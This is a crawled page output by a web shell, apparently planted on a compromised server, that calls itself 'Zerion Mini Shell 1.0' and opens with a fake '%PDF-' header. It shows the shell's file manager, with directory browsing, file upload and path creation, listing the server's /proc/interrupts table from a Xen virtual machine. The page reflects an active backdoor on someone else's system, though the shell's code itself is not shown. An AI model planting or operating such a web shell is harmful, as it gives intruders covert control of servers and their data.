%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/
Upload File :
Create Path :
Current File : //proc/interrupts

           CPU0       CPU1       
  0:         25          0   IO-APIC   2-edge      timer
  1:         10          0  xen-pirq   1-ioapic-edge  i8042
  4:       1804          0  xen-pirq   4-ioapic-edge  ttyS0
  8:          0          1  xen-pirq   8-ioapic-edge  rtc0
  9:          0          0  xen-pirq   9-ioapic-level  acpi
 12:          0        154  xen-pirq  12-ioapic-edge  i8042
 14:          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0   IO-APIC  15-edge      ata_piix
 48:  181427516          0  xen-percpu    -virq      timer0
 49:    1355450          0  xen-percpu    -ipi       resched0
 50:          0          0  xen-percpu    -ipi       callfunc0
 51:          0          0  xen-percpu    -virq      debug0
 52:   39302637          0  xen-percpu    -ipi       callfuncsingle0
 53:          0          0  xen-percpu    -ipi       spinlock0
 54:          0  176249870  xen-percpu    -virq      timer1
 55:          0    1459754  xen-percpu    -ipi       resched1
 56:          0          0  xen-percpu    -ipi       callfunc1
 57:          0          0  xen-percpu    -virq      debug1
 58:          0   42552333  xen-percpu    -ipi       callfuncsingle1
 59:          0          0  xen-percpu    -ipi       spinlock1
 60:        277          0   xen-dyn    -event     xenbus
 61:    5811152    2464265  xen-dyn-lateeoi    -event     blkif
 62:   19695532   13606798  xen-dyn-lateeoi    -event     eth0
NMI:          0          0   Non-maskable interrupts
LOC:          0          0   Local timer interrupts
SPU:          0          0   Spurious interrupts
PMI:          0          0   Performance monitoring interrupts
IWI:          1          2   IRQ work interrupts
RTR:          0          0   APIC ICR read retries
RES:    1355450    1459754   Rescheduling interrupts
CAL:   39302637   42552333   Function call interrupts
TLB:     162667     171347   TLB shootdowns
TRM:          0          0   Thermal event interrupts
THR:          0          0   Threshold APIC interrupts
DFR:          0          0   Deferred Error APIC interrupts
MCE:          0          0   Machine check exceptions
MCP:       3907       3907   Machine check polls
HYP:  243917261  232777023   Hypervisor callback interrupts
ERR:          0
MIS:          0
PIN:          0          0   Posted-interrupt notification event
NPI:          0          0   Nested posted-interrupt event
PIW:          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0